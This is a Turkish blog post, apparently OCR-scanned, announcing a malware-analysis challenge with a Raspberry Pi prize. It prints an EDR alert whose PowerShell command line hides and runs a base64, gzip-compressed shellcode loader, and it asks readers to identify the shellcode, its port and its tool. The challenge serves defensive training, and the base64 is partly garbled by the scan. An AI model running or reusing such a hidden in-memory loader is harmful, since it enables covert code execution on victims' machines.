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Yaz ay1l gelip rehavete kapilmadan 6nce yeni bir Pi Hediyem Var oyunu ile kisa
bir aradan sonra tekrar karsinizdayim. Onceki oyunlarda oldugu gibi bu oyunu
da basariyla tamamlayan lniversite 6grencileri arasinda yapilacak cekilis ile
1 adet Raspberry Pi 3‘G, 1 ogrenciye hediye edecegim. Bu oyunun Pi sponsoru
olan Picus Security firmasina ve Siileyman OZARSLAN‘a hem kendi adima hem de

tim Pi Hediyem Var oyunseverleri adina tesekkiir ederim.

Siber Guvenlik Merkezi’nde (CDC) analist olarak g6rev yapan kahramanimiz,
alarmlarini yakindan takip ettigi EDR (Endpoint Detection Response)
sisteminden ansizin bir alarm alir. Asagidaki alarmi yakindan incelediginde,
okudugu tehdit raporlarinda buna benzer sipheli Powershell kullaniminin
saldirganlar tarafindan siklikla kullanildigini hatirlayan kahramanimiz zaman
kaybetmeden bu alarmi analiz etmek icin ise koyulur ve maceramiz burada
baslar.

"event values": {

"processkvent/eventType": "start",

"processEvent/process": "powershell.exe",

"processEvent/processPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1l.0\\powershell.exe",
"processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c
&([scriptblock]::create((New-0Object I0.StreamReader(New-0Object
I0.Compression.GzipStream((New-0Object

I0.MemoryStream(, [Convert]::FromBase64String('H4sIAL3yl10CA7VWbW/i0BD+3JIX2P0Q
rpCS61J3fCbtVKK53DSO1LWmgglHLo5CZ0MDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4wJOtiT
IMFfKKtwgX96/0+pjgSNFK7HH1sAXINLD3NOPjmChtLOVz402RatVifeYxrPz82YqBIn14b18QSRKE
hI9MEOSTVf+UsZzIsjxzcOCeFL50pT+LF8w/0BZbrZtYm901GMU+91laj3s4i6XsrBiVmvrHH60+Pa
7Nyu3HFLNEU51tIklU9h1TdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqg45wEc
QmYpYgWwy980ipsKwL7iHfF+QBGzLVvzZE10QrxS1jhvK7Ns3Pvk1jSSMC65IIvnKIeKIeScpdHPuUM
33Jgpl2TdZHyzzppL53Aqi+FbgAJr4aKOuz8ycvBT9ddhHmjT4cmpg6y/vn/3/11Q8EyW3/EMo6Ppf
kwgNq3PE703+6xUDcWGc7DkYguvpaFIiT5TphniQ91IMKW2WV8aP3WuFLVh6736kMDd10fVn4JINzUd
reg9PTbOHHomgRgMaktY1xRL1CN9pbIJO0AkX205¢cLsGSLS1IHyB+C3CSIh1BpyhTF+7tSMqv/maKwu
+EcgDohKICj jUvw/mwIWmWrFNIgDp8K4C8AGo LRTWUUK3xenZ0xipTYaTxFD6KZSLZygOwYz4holi
hOZLKJV8P1Sfw7VTIgmHEL11sN90/AZkf20RXIkXqAXGQ/NBZEY9ilmFhKF3qE3PrOLA4WHOTiSZmj
MYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6J r76KsBDOQbOZGAUKL+IDhh
3GpaG4VEio/wzYvZD+0/kvKv8QSV0OQnAytqlGpuZWZtEvLXqb4Apc9CKICAh3BIXMn5FPDkQLWOTS
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UbmgTwTOXYmZ75pLWOJ rWLBu+I1q3e0vUv7pcdCuitZkHyEosu9tvDbrdxt0l4zak07bkVd+Sdvtu
sXBQ93YOkfcWeg5pdTlp7FaXd0fOkD/ZVD7tzN26am5219APJq0gCEBD57b2sUN74+bArJ7gXqud9
sbm2qw2kjZddwdONFheduTDxGV4FFTCu90ZppueWLglbu8shC7mdW93GbgXc9vfTrqVs3FjidoINe
022zH51cQUQF9xcSjVvRze9IMxx2H1GOeGydVUKwvcPIQml3e/kx4g0X+Xwtk/p9peK6J7T+abioVM7
c09wdJje/dSs118DYTYdjGI85wuHt2D0ImyfePIC9et fRCMGEBgiZYxyafHx10/wYVNx17foRde6H
z7Y]jc72NL3xy2vqQ8QrElsIVeUHXj5qtjUUyxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumE
CBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTblaheZb3TSqkO0
HPp9Xkq62W7WRkvTtDJId+Y7TfWM4mXeNs66/6vaOWFNYcf/1/Qep77h9WfQrBq7PNONfvIxC/B+at
53jzGVYOhAX2DkcDWImX6uixeX
954T4D3In+yf000qj6/hUv8bAKByiaAJAAA="))),[I0.Compression.CompressionMode]: :De
compress))) .ReadToEnd()))",

"processEvent/parentProcessPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1l.0\\powershell.exe",
"processEvent/parentProcess": "powershell.exe",

}

Oyunu basariyla tamamlamak icin asagidaki tum sorularin cevaplarini, kod
parcalarini ve ekran goruntiulerini iceren kanitlari ile birlikte detayl:
olarak aciklamaniz gerekmektedir.

Yonergeler & Sorular;

1. Supheli Powershell komutunu analiz ediniz.
2. Kabukkodunun tiridni, kullandigi baglanti noktasini (port) ve hangi araca
ait oldugunu bulunuz.

Daha Once Raspberry Pi kazanmamis olup cekilise katilmak isteyenler veya
adini oyunu basariyla tamamlayanlar listesine yazdirmak isteyenler,
kanitlarla (kod, ekran goérintidsu vs.) birlikte detayli ¢6zim yolunu, adini,
soyadini, yasini iletisim formu lzerinden bana veya e-posta adresime 23 Nisan
Pazartesi Saat 21:00‘a kadar iletmeleri gerekmektedir.

Oyunun ¢ozum yolunu iceren blog yazisi ilerleyen gunlerde yayinlanacak olup,
kazanan talihli bu sayfa ve Twitter hesabim Uzerinden duyurulacaktir.

Not: Bu oyunu ¢Ozerken zararli yazilim, kod analizi yaptiginizi hatirlatar,
izole ve yamasi gincel olan sanal sistem yazilimi (vmware, virtualbox vs.)
ile calismanizi siddetle tavsiye ederim.
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